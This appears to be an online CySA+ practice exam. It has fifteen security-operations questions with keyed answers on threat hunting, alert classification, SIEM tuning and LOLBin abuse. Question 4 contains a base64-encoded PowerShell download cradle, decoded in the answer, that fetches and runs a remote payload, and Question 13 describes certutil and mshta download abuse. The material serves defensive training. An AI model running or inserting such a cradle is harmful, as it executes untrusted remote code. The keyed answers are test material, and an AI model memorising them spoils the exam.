CS0-003 Security Operations Practice Test 10 — 15 Questions

Question 1

During a threat hunt, an analyst identifies a suspicious process that is making outbound connections to multiple IP addresses on port 443 using TLS. The analyst suspects data exfiltration. Which THREE techniques would best help confirm this hypothesis?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Review EDR telemetry for file reads on sensitive documents prior to the connections. Option A is correct because correlating EDR file-read telemetry on sensitive documents with the timing of the outbound TLS connections establishes the data-collection stage of exfiltration, showing what data the process accessed before sending it. Option D is correct because NetFlow/IPFIX records byte and packet counts per flow, so unusually large outbound volumes to multiple destinations on port 443 reveal the data-transfer stage that distinguishes exfiltration from benign browsing. Option E is correct because the process command line often exposes exfiltration tooling and parameters such as destination lists, upload flags, or encoded payload arguments that explain the connections. Option B does not belong because inspecting the remote TLS certificate only identifies the server or its issuer and does not confirm that data was stolen. Option C does not belong because dumping process memory to hunt for encryption keys is complex and unreliable, and finding keys would not by itself prove exfiltration occurred.

Answer

Inspect the TLS certificate presented by the remote server

Answer

Perform a memory dump of the process and look for encryption keys

Question 2

A security analyst is reviewing a SIEM alert that triggered on a single failed login attempt from an internal IP address. The username used does not exist in Active Directory. The analyst checks the source IP and finds it belongs to a known vulnerability scanner. What classification should the analyst assign to this alert?

Accepted Answer

False positive. A false positive is an alert that fires but does not represent a genuine security incident. Here, the 'failed login' is benign because the source is an authorized vulnerability scanner and the username does not exist — there is no real attacker or compromised account, so the SIEM rule matched on activity that is expected and non-malicious.

Answer

False negative

Answer

True positive

Answer

True negative

Question 3

During a network traffic analysis, a security analyst notices a host communicating with an external IP address over TCP port 443 using a self-signed certificate. The traffic flows are consistent in size and occur every 60 seconds. The external IP is not on any threat intelligence feeds. What does this pattern most likely indicate?

Accepted Answer

Command and control beaconing. Regular, periodic connections of consistent size to an external host over HTTPS suggest beaconing, often used by malware for command and control.

Answer

Lateral movement attempt

Answer

Data exfiltration via DNS tunneling

Answer

Normal web browsing

Question 4

An EDR agent reports that the process 'svchost.exe' spawned 'powershell.exe' with the command line: 'powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAwAC8AcABhAHkAbABvAGEAZAAuAGUAeABlACcAKQA='. Which of the following is the most appropriate classification for this activity?

Accepted Answer

True positive - likely malicious activity using a LOLBin. The encoded command decodes to 'IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.10/payload.exe')', which is a download cradle. Svchost.exe spawning PowerShell with such a command is highly suspicious and indicative of a true positive.

Answer

True positive - but only if the IP is confirmed malicious

Answer

False positive - encoded commands are used by system administrators

Answer

False positive - svchost.exe commonly launches PowerShell for legitimate tasks

Question 5

A security analyst is tuning a SIEM correlation rule that generates alerts when a single user logs into more than 10 workstations within 5 minutes. The rule is producing excessive false positives due to service accounts performing automated tasks. Which of the following is the best tuning approach to reduce false positives while still detecting potential lateral movement?

Accepted Answer

Add an exception for known service account names. Excluding known service accounts from the rule reduces false positives while still detecting lateral movement by user accounts.

Answer

Change the time window to 10 minutes

Answer

Increase the threshold to 20 workstations

Answer

Disable the rule and rely on manual log review

Question 6

During a vulnerability scan of an internal web server, the scanner reports a critical vulnerability with a CVSS score of 9.8. The server is behind a WAF that blocks the attack vector. The system owner states the vulnerability is not exploitable due to the compensating control. Which of the following is the best next step?

Accepted Answer

Document the finding and accept the risk with the compensating control. The best next step is to document the finding and accept the risk with the compensating control because the WAF blocks the attack vector, making the vulnerability not exploitable. This aligns with risk management principles: compensating controls can reduce risk to an acceptable level, and acceptance should be documented.

Answer

Re-run the scan with a non-credentialed profile

Answer

Ignore the vulnerability and close the finding

Answer

Immediately patch the server during business hours

Question 7

A security analyst is investigating an alert from AWS GuardDuty that indicates an EC2 instance is communicating with a known malicious IP address on port 4444. The analyst checks the VPC Flow Logs and confirms the traffic. Which of the following is the most appropriate immediate action?

Accepted Answer

Apply a restrictive security group to isolate the instance. Isolating the EC2 instance by applying a restrictive security group stops the malicious communication and allows further investigation.

Answer

Create a new IAM role for the instance

Answer

Terminate the EC2 instance immediately

Answer

Update the route table to blackhole the traffic

Question 8

A threat hunter is reviewing osquery data from endpoints and notices that the Windows Registry key 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' contains an entry for 'C:\Users\Public\svchost.exe'. Which of the following best describes the significance of this finding?

Accepted Answer

Suggests persistence via a malicious binary masquerading as svchost.exe. The Run key is a common persistence location in the Windows Registry. The entry points to 'C:\Users\Public\svchost.exe', which is suspicious because legitimate svchost.exe resides in C:\Windows\System32 and is never in the Users\Public folder. This strongly suggests a malicious binary masquerading as a legitimate system process to maintain persistence and evade detection.

Answer

Confirms a false positive because svchost.exe is always legitimate

Answer

Indicates a scheduled task has been created

Answer

Indicates a legitimate application installed for all users

Question 9

A security analyst uses Wireshark to capture traffic and notices an unusually high number of DNS queries for random-looking subdomains under a single domain, such as 'a1b2c3.malicious.com'. The TTL values are very low. The analyst suspects DNS tunneling. Which of the following additional indicators would most strongly support this hypothesis?

Accepted Answer

DNS queries with unusually large TXT record response sizes. DNS tunneling often uses TXT records to encode data, and the packet sizes can be larger than normal DNS queries.

Answer

Large number of NXDOMAIN responses

Answer

High number of A record queries

Answer

Queries originating from a DNS server

Question 10

A security analyst is reviewing an alert from a CASB that shows a user downloading a large volume of sensitive data from a cloud storage application to a personal device outside of business hours. The user's behavior is atypical. Which of the following is the most likely interpretation?

Accepted Answer

Indicates a compromised account being used for data exfiltration. Atypical data download from a cloud service to a personal device outside business hours is a strong indicator of data exfiltration.

Answer

True positive - but only if the user has been phished

Answer

False positive - the user is working overtime

Answer

Indicates a misconfigured CASB policy

Question 11

During a threat hunting engagement, a hunter creates a hypothesis that adversaries may be using PowerShell to perform reconnaissance via Active Directory cmdlets. The hunter decides to look for events where PowerShell loaded the ActiveDirectory module. Which of the following detection techniques is most appropriate?

Accepted Answer

Create a SIEM correlation rule that triggers on Event ID 4104 (PowerShell Script Block Logging). Event ID 4104 is generated by PowerShell Script Block Logging and captures the actual script block text executed, including the commands that import and invoke Active Directory cmdlets. A SIEM correlation rule on 4104 can detect patterns like 'Import-Module ActiveDirectory' or 'Get-ADUser' that indicate AD reconnaissance. This gives the hunter visibility into the exact PowerShell code executed on endpoints, which is the most direct evidence of the hypothesized behavior.

Answer

Perform a packet capture to analyze PowerShell network traffic

Answer

Deploy a YARA rule on endpoints to scan for malicious PowerShell scripts

Answer

Use osquery to query running PowerShell processes

Question 12

A threat hunter analyzes NetFlow data and observes a host communicating with multiple external IP addresses on high-numbered ports (e.g., 49300-49500) during off-hours. The communications are short-lived and occur in burst patterns. The hunter suspects data exfiltration. Which of the following analysis techniques would best confirm or refute this suspicion?

Accepted Answer

Perform a full packet capture on the host's traffic. A full packet capture provides the actual payload and protocol details of the suspicious traffic, allowing the hunter to confirm whether data is being exfiltrated (e.g., via HTTP POST, DNS tunneling, or custom protocols) and to identify the destination and content. NetFlow only provides metadata (IPs, ports, bytes, timestamps), so packet-level inspection is required to validate the exfiltration hypothesis. This is the most direct confirmatory technique.

Answer

Correlate with authentication logs to see if the user is logged in

Answer

Check the host's registry for persistence mechanisms

Answer

Review DNS logs for domain generation algorithm patterns

Question 13

A security analyst is investigating a potential advanced persistent threat (APT) that uses living off the land binaries (LOLBins). The EDR has flagged several processes. Which THREE process behaviors are most indicative of LOLBin abuse? (Choose THREE.)

Accepted Answer

mshta.exe executing JavaScript from a remote URL. Option A is correct because mshta.exe is a signed Microsoft LOLBin that normally renders HTML applications, so executing JavaScript from a remote URL is a classic abuse pattern for fileless execution and remote payload retrieval. Option D is correct because wmic.exe is a legitimate WMI command-line utility, and using it to create a process on a remote system (e.g., via /node and process call create) is a well-known lateral movement and remote execution technique. Option E is correct because certutil.exe is a built-in certificate utility whose -urlcache or -split options are frequently abused to download executables from remote servers, making it a hallmark LOLBin download cradle. Option B is not indicative because explorer.exe opening the Start menu is normal user-interface behavior, and Option C is not indicative because notepad.exe opening a local .txt file in the user's Documents folder is ordinary, expected activity with no remote or execution-abuse characteristics.

Answer

explorer.exe opening the Start menu

Answer

notepad.exe opening a .txt file in the user's Documents folder

Question 14

A security analyst is reviewing a SIEM alert that triggered on a single failed login attempt from a known internal IP address to a file server. The user authenticated successfully on the next attempt. Which classification best describes this alert?

Accepted Answer

False positive. The alert is a false positive because a single failed login followed by success is normal user behavior and not indicative of malicious activity.

Answer

True negative

Answer

True positive

Answer

False negative

Question 15

During a vulnerability scan of an internal web server, the scanner reports a critical vulnerability with a CVSS score of 9.8. The analyst reviews the finding and determines that the vulnerability is mitigated by a Web Application Firewall (WAF) deployed in front of the server. What should the analyst do with this finding?

Accepted Answer

Document the compensating control and track the finding until patched.. The vulnerability is effectively mitigated by the compensating control (WAF), so it should be documented as such and tracked until the patch is applied.

Answer

Mark the finding as a false positive and close it.

Answer

Immediately patch the server to remove the vulnerability.

Answer

Increase the scan frequency to detect if the vulnerability changes.